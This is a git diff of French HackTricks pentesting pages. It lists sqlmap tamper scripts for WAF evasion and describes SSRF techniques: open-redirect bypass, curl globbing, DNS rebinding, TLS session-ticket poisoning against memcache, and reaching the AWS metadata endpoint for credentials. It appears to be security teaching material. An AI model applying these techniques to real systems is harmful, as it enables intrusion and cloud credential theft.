| charunicodeencode.py | Encode en URL avec Unicode les caractères non encodés d'un payload (sans traiter ceux déjà encodés). "%u0022" |
|
||||
| charunicodeescape.py | Échappe en URL avec Unicode les caractères non encodés d'un payload (sans traiter ceux déjà encodés). "\u0022" |
|
||||
| equaltolike.py | Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE' |
|
||||
| escapequotes.py | Échappe les guillemets (' et ") avec un slash |
|
||||
| greatest.py | Remplace l'opérateur supérieur ('>') par son équivalent 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Ajoute un commentaire MySQL versionné avant chaque mot-clé |
|
||||
| ifnull2ifisnull.py | Remplace des instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)' |
|
||||
| modsecurityversioned.py | Encadre la requête complète avec un commentaire versionné |
|
||||
| modsecurityzeroversioned.py | Encadre la requête complète avec un commentaire versionné à zéro |
|
||||
| multiplespaces.py | Ajoute de multiples espaces autour des mots-clés SQL |
|
||||
| nonrecursivereplacement.py | Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par ex. .replace("SELECT", "")) |
|
||||
| percentage.py | Ajoute un signe pourcentage ('%') devant chaque caractère |
|
||||
| overlongutf8.py | Convertit tous les caractères d'un payload donné (sans traiter ceux déjà encodés) |
|
||||
| randomcase.py | Remplace chaque caractère de mot-clé par une valeur de casse aléatoire |
|
||||
| randomcomments.py | Ajoute des commentaires aléatoires aux mots-clés SQL |
|
||||
| securesphere.py | Ajoute une chaîne spécialement conçue |
|
||||
| sp\_password.py | Ajoute 'sp\_password' à la fin du payload pour une obfuscation automatique des logs DBMS |
|
||||
| space2comment.py | Remplace le caractère espace (' ') par des commentaires |
|
||||
| space2dash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||
| space2hash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||
| space2morehash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'une nouvelle ligne ('\n') |
|
||||
| space2mssqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
|
||||
| space2mssqlhash.py | Remplace le caractère espace (' ') par un caractère dièse ('#') suivi d'une nouvelle ligne ('\n') |
|
||||
| space2mysqlblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
|
||||
| space2mysqldash.py | Remplace le caractère espace (' ') par un commentaire tiret ('--') suivi d'une nouvelle ligne ('\n') |
|
||||
| space2plus.py | Remplace le caractère espace (' ') par un plus ('+') |
|
||||
| space2randomblank.py | Remplace le caractère espace (' ') par un caractère blanc aléatoire d'un ensemble valide de caractères alternatifs |
|
||||
| symboliclogical.py | Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et |
|
||||
| unionalltounion.py | Remplace UNION ALL SELECT par UNION SELECT |
|
||||
| unmagicquotes.py | Remplace le caractère guillemet (') par une combinaison multi-octets %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner) |
|
||||
| uppercase.py | Remplace chaque caractère de mot-clé par une valeur en majuscule 'INSERT' |
|
||||
| varnish.py | Ajoute un en-tête HTTP 'X-originating-IP' |
|
||||
| versionedkeywords.py | Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné |
|
||||
| versionedmorekeywords.py | Encadre chaque mot-clé avec un commentaire MySQL versionné |
|
||||
| xforwardedfor.py | Ajoute un faux en-tête HTTP 'X-Forwarded-For' |
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
|
||||
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
|
||||
[**DragonJAR Security Conference est un événement international de cybersécurité**](https://www.dragonjarcon.org/) qui se tient depuis plus d'une décennie et aura lieu les 7 et 8 septembre 2023 à Bogotá, Colombie. C'est un événement à contenu technique élevé présentant les dernières recherches en espagnol, attirant des hackers et chercheurs du monde entier.\
|
||||
Inscrivez-vous maintenant au lien suivant et ne manquez pas cette grande conférence! :
|
||||
|
||||
{% embed url="https://www.dragonjarcon.org/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# SSRF (Falsification de Requête Côté Serveur)
|
||||
# SSRF (Server Side Request Forgery)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
||||
|
@ -10,17 +10,19 @@ Obtenez l'accès aujourd'hui :
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
La falsification de requête côté serveur (également connue sous le nom de SSRF) est une vulnérabilité de sécurité web qui permet à un attaquant d'**induire l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire** de son choix. (Depuis [ici](https://portswigger.net/web-security/ssrf))
|
||||
La faille de sécurité Server-side request forgery (connue également sous le nom de SSRF) permet à un attaquant d'**induire l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire** de son choix. (Depuis [ici](https://portswigger.net/web-security/ssrf))
|
||||
|
||||
## Capture SSRF
|
||||
|
||||
|
@ -33,9 +35,9 @@ La première chose à faire est de capturer une interaction SSRF provoquée par
|
|||
* [**http://webhook.site**](http://webhook.site)
|
||||
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
|
||||
|
||||
## Contournement de Domaines Autorisés
|
||||
## Contournement de domaines autorisés
|
||||
|
||||
Habituellement, vous constaterez que le SSRF ne fonctionne que dans **certains domaines autorisés** ou URL. Dans la page suivante, vous avez une **compilation de techniques pour essayer de contourner cette liste blanche** :
|
||||
Habituellement, vous constaterez que le SSRF ne fonctionne que dans **certains domaines autorisés** ou URL. Dans la page suivante, vous trouverez une **compilation de techniques pour essayer de contourner cette liste blanche** :
|
||||
|
||||
{% content-ref url="url-format-bypass.md" %}
|
||||
[url-format-bypass.md](url-format-bypass.md)
|
||||
|
@ -44,7 +46,7 @@ Habituellement, vous constaterez que le SSRF ne fonctionne que dans **certains d
|
|||
### Contournement via redirection ouverte
|
||||
|
||||
Si le serveur est correctement protégé, vous pourriez **contourner toutes les restrictions en exploitant une Redirection Ouverte à l'intérieur de la page web**. Parce que la page web permettra le **SSRF au même domaine** et suivra probablement les **redirections**, vous pouvez exploiter la **Redirection Ouverte pour faire accéder le serveur à n'importe quelle ressource interne**.\
|
||||
Lire plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
Lisez plus ici : [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
||||
## Protocoles
|
||||
|
||||
|
@ -122,7 +124,7 @@ D'après [https://twitter.com/har1sec/status/1182255952055164929](https://twitte
|
|||
3\. rechercher[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) sur github, trouver des sous-domaines\
|
||||
4\. se connecter
|
||||
|
||||
### Curl URL globbing - contournement de WAF
|
||||
### Curl URL globbing - Contournement de WAF
|
||||
|
||||
Si le SSRF est exécuté par **curl**, curl a une fonctionnalité appelée [**URL globbing**](https://everything.curl.dev/cmdline/globbing) qui pourrait être utile pour contourner les WAFs. Par exemple, dans ce [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi), vous pouvez trouver cet exemple pour une **traversée de chemin via le protocole `file`** :
|
||||
```
|
||||
|
@ -213,21 +215,29 @@ if __name__ == "__main__":
|
|||
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||||
```
|
||||
```markdown
|
||||
## Contournement de CORS/SOP avec DNS Rebidding
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous rencontrez des **problèmes** pour **exfiltrer le contenu d'une IP locale** à cause de **CORS/SOP**, le **DNS Rebidding** peut être utilisé pour contourner cette limitation :
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** grâce aux outils communautaires **les plus avancés** au monde.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## DNS Rebidding CORS/SOP bypass
|
||||
|
||||
Si vous rencontrez des **problèmes** pour **exfiltrer du contenu d'une IP locale** à cause de **CORS/SOP**, le **DNS Rebidding** peut être utilisé pour contourner cette limitation :
|
||||
|
||||
{% content-ref url="../cors-bypass.md" %}
|
||||
[cors-bypass.md](../cors-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### DNS Rebidding Automatisé
|
||||
### Automatisation du DNS Rebidding
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour réaliser des attaques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Il inclut les composants nécessaires pour relier l'adresse IP de la machine cible au nom DNS du serveur d'attaque et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible.
|
||||
|
||||
Découvrez également le **serveur public en cours d'exécution sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)****
|
||||
Consultez également le **serveur public en cours d'exécution sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)****
|
||||
|
||||
## DNS Rebidding + ID de session TLS/Ticket de session
|
||||
## DNS Rebidding + TLS Session ID/Session ticket
|
||||
|
||||
Prérequis :
|
||||
|
||||
|
@ -237,34 +247,34 @@ Prérequis :
|
|||
|
||||
Attaque :
|
||||
|
||||
1. Demander à l'utilisateur/robot **d'accéder** à un **domaine** contrôlé par l'**attaquant**
|
||||
1. Demander à l'utilisateur/bot **d'accéder** à un **domaine** contrôlé par l'**attaquant**
|
||||
2. Le **TTL** du **DNS** est de **0** sec (ainsi la victime vérifiera à nouveau l'IP du domaine bientôt)
|
||||
3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de session ou du Ticket de session**.
|
||||
4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire accéder l'utilisateur/robot au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine.
|
||||
3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit le **payload à l'intérieur** du **Session ID ou Session Ticket**.
|
||||
4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire accéder l'utilisateur/bot au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine.
|
||||
5. Dans la requête DNS, une **adresse IP privée** est donnée **maintenant** (127.0.0.1 par exemple)
|
||||
6. L'utilisateur/robot essaiera de **rétablir la connexion TLS** et pour ce faire, il **envoiera** l'**ID de session**/Ticket ID (où la **charge utile** de l'attaquant était contenue). Donc félicitations, vous avez réussi à demander à l'**utilisateur/robot de s'attaquer lui-même**.
|
||||
6. L'utilisateur/bot essaiera de **rétablir la connexion TLS** et pour ce faire, il **envoie** le **Session** ID/Ticket ID (où le **payload** de l'attaquant était contenu). Donc félicitations, vous avez réussi à demander à l'**utilisateur/bot de s'attaquer lui-même**.
|
||||
|
||||
Notez que pendant cette attaque, si vous voulez attaquer localhost:11211 (_memcache_), vous devez faire établir la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\
|
||||
Pour **réaliser cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
Pour **plus d'informations**, regardez la conférence où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
|
||||
|
||||
## SSRF Aveugle
|
||||
## SSRF aveugle
|
||||
|
||||
La différence entre un SSRF aveugle et un non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la requête SSRF. Il est donc plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.
|
||||
La différence entre un SSRF aveugle et un non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la requête SSRF. Cela rend l'exploitation plus difficile car vous ne pourrez exploiter que des vulnérabilités bien connues.
|
||||
|
||||
### SSRF basé sur le temps
|
||||
|
||||
**Vérifier le temps** des réponses du serveur pourrait **permettre de savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante que pour une qui n'existe pas)
|
||||
**Vérifier le temps** des réponses du serveur peut permettre de **savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante que pour une qui n'existe pas)
|
||||
|
||||
## Exploitation de SSRF dans le Cloud
|
||||
|
||||
Si vous trouvez une vulnérabilité SSRF dans une machine fonctionnant dans un environnement cloud, vous pourriez être capable d'obtenir des informations intéressantes sur l'environnement cloud et même des identifiants :
|
||||
Si vous trouvez une vulnérabilité SSRF dans une machine fonctionnant dans un environnement cloud, vous pourriez être en mesure d'obtenir des informations intéressantes sur l'environnement cloud et même des identifiants :
|
||||
|
||||
{% content-ref url="cloud-ssrf.md" %}
|
||||
[cloud-ssrf.md](cloud-ssrf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Plateformes Vulnérables à SSRF
|
||||
## Plateformes vulnérables au SSRF
|
||||
|
||||
Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans :
|
||||
|
||||
|
@ -313,13 +323,23 @@ SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour acheminer le trafi
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** grâce aux outils communautaires **les plus avancés** au monde.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
```
|
||||
|
|
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -22,19 +24,19 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p
|
|||
|
||||
## AWS
|
||||
|
||||
### Abus de SSRF dans l'environnement AWS EC2
|
||||
### Abuser de SSRF dans l'environnement AWS EC2
|
||||
|
||||
**La métadonnée** peut être accédée depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Elle est accessible à l'adresse suivante : `http://169.254.169.254` ([informations sur la métadonnée ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**Le point de terminaison des métadonnées** peut être accédé depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Il est accessible à l'URL : `http://169.254.169.254` ([informations sur les métadonnées ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Il existe **2 versions** de la métadonnée. La **première** permet d'accéder à la métadonnée via des requêtes **GET** (donc toute SSRF peut l'exploiter). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP**, puis utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (donc c'est **plus compliqué à exploiter** avec une SSRF).
|
||||
Il existe **2 versions** du point de terminaison des métadonnées. La **première** permet d'**accéder** au point de terminaison via des requêtes **GET** (donc tout **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **token** en envoyant une requête **PUT** avec un **en-tête HTTP** puis utiliser ce token pour accéder aux métadonnées avec un autre en-tête HTTP (donc c'est **plus compliqué à abuser** avec un SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que si l'instance EC2 applique IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2.
|
||||
Notez que si l'instance EC2 applique IMDSv2, [**selon la documentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **réponse de la requête PUT** aura une **limite de saut de 1**, rendant impossible l'accès aux métadonnées EC2 depuis un conteneur à l'intérieur de l'instance EC2.
|
||||
|
||||
De plus, **IMDSv2** bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`. Cela vise à empêcher les proxies inverses mal configurés d'y accéder.
|
||||
